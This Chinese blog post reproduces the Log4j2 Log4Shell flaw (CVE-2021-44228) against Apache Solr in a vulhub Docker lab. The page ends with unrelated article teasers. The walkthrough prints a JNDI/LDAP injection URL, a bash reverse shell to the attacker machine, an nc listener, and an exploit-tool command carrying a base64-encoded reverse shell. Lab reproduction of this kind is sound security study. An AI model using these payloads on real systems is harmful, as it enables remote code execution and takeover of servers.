[CVE-2021-44228]:log4j2漏洞复现流程详解(vulhub环境)

2024-04-24 06:04

本文主要是介绍[CVE-2021-44228]:log4j2漏洞复现流程详解(vulhub环境),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CVE-2021-44228漏洞复现

漏洞简介

Apache Log4j2是Apache软件基金会下的一个开源的基于java的日志记录工具。该远程代码执行漏洞基于攻击者使用${}关键标识触发JNDI注入漏洞,可以执行任意代码。

漏洞复现

靶机:192.168.74.150
攻击机:192.168.74.148

启动docker

在这里插入图片描述

docker-compose 

在这里插入图片描述

docker ps

查看docker所在进程,如图所示
在这里插入图片描述
在kali火狐浏览器中打开,显示此界面为成功

在这里插入图片描述
获得一个临时的DNS,这里是网站。
在这里插入图片描述

在浏览器中输入 http://192.168.74.150:5005/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.armp2a.dnslog.cn}

在这里插入图片描述
如图,成功回显java版本号
在这里插入图片描述

在攻击机中下载注入工具 git clone https://github.com/bkfish/Apache-Log4j-Learning.git

在这里插入图片描述

bash -i >& /dev/tcp/192.168.74.148/19999 0>&1

在这里插入图片描述

在攻击机上开启端口监听 nc -lvvp 19999

在这里插入图片描述

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc0LjE0OC8xOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.74.148"
#直接运行并在攻击机中开启监听

在这里插入图片描述

http://192.168.74.150:8983/solr/admin/cores?action=${jndi:ldap://192.168.74.148:1389/jas9lj}

随机选择一个直接使用即可

在这里插入图片描述
如图即表示渗透成功!

养成好习惯,用完记得关闭:docker-compose down

待完善…

这篇关于[CVE-2021-44228]:log4j2漏洞复现流程详解(vulhub环境)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/930941

相关文章

如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解

《如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别详解》:本文主要介绍如何通过海康威视设备网络SDK进行Java二次开发摄像头车牌识别的相关资料,描述了如何使用海康威视设备网络SD... 目录前言开发流程问题和解决方案dll库加载不到的问题老旧版本sdk不兼容的问题关键实现流程总结前言作为

0基础租个硬件玩deepseek,蓝耘元生代智算云|本地部署DeepSeek R1模型的操作流程

《0基础租个硬件玩deepseek,蓝耘元生代智算云|本地部署DeepSeekR1模型的操作流程》DeepSeekR1模型凭借其强大的自然语言处理能力,在未来具有广阔的应用前景,有望在多个领域发... 目录0基础租个硬件玩deepseek,蓝耘元生代智算云|本地部署DeepSeek R1模型,3步搞定一个应

SQL 中多表查询的常见连接方式详解

《SQL中多表查询的常见连接方式详解》本文介绍SQL中多表查询的常见连接方式,包括内连接(INNERJOIN)、左连接(LEFTJOIN)、右连接(RIGHTJOIN)、全外连接(FULLOUTER... 目录一、连接类型图表(ASCII 形式)二、前置代码(创建示例表)三、连接方式代码示例1. 内连接(I

Go路由注册方法详解

《Go路由注册方法详解》Go语言中,http.NewServeMux()和http.HandleFunc()是两种不同的路由注册方式,前者创建独立的ServeMux实例,适合模块化和分层路由,灵活性高... 目录Go路由注册方法1. 路由注册的方式2. 路由器的独立性3. 灵活性4. 启动服务器的方式5.

Java中八大包装类举例详解(通俗易懂)

《Java中八大包装类举例详解(通俗易懂)》:本文主要介绍Java中的包装类,包括它们的作用、特点、用途以及如何进行装箱和拆箱,包装类还提供了许多实用方法,如转换、获取基本类型值、比较和类型检测,... 目录一、包装类(Wrapper Class)1、简要介绍2、包装类特点3、包装类用途二、装箱和拆箱1、装

Go语言中三种容器类型的数据结构详解

《Go语言中三种容器类型的数据结构详解》在Go语言中,有三种主要的容器类型用于存储和操作集合数据:本文主要介绍三者的使用与区别,感兴趣的小伙伴可以跟随小编一起学习一下... 目录基本概念1. 数组(Array)2. 切片(Slice)3. 映射(Map)对比总结注意事项基本概念在 Go 语言中,有三种主要

Spring Boot整合log4j2日志配置的详细教程

《SpringBoot整合log4j2日志配置的详细教程》:本文主要介绍SpringBoot项目中整合Log4j2日志框架的步骤和配置,包括常用日志框架的比较、配置参数介绍、Log4j2配置详解... 目录前言一、常用日志框架二、配置参数介绍1. 日志级别2. 输出形式3. 日志格式3.1 PatternL

Python中Markdown库的使用示例详解

《Python中Markdown库的使用示例详解》Markdown库是一个用于处理Markdown文本的Python工具,这篇文章主要为大家详细介绍了Markdown库的具体使用,感兴趣的... 目录一、背景二、什么是 Markdown 库三、如何安装这个库四、库函数使用方法1. markdown.mark

PLsql Oracle 下载安装图文过程详解

《PLsqlOracle下载安装图文过程详解》PL/SQLDeveloper是一款用于开发Oracle数据库的集成开发环境,可以通过官网下载安装配置,并通过配置tnsnames.ora文件及环境变... 目录一、PL/SQL Developer 简介二、PL/SQL Developer 安装及配置详解1.下

使用Navicat工具比对两个数据库所有表结构的差异案例详解

《使用Navicat工具比对两个数据库所有表结构的差异案例详解》:本文主要介绍如何使用Navicat工具对比两个数据库test_old和test_new,并生成相应的DDLSQL语句,以便将te... 目录概要案例一、如图两个数据库test_old和test_new进行比较:二、开始比较总结概要公司存在多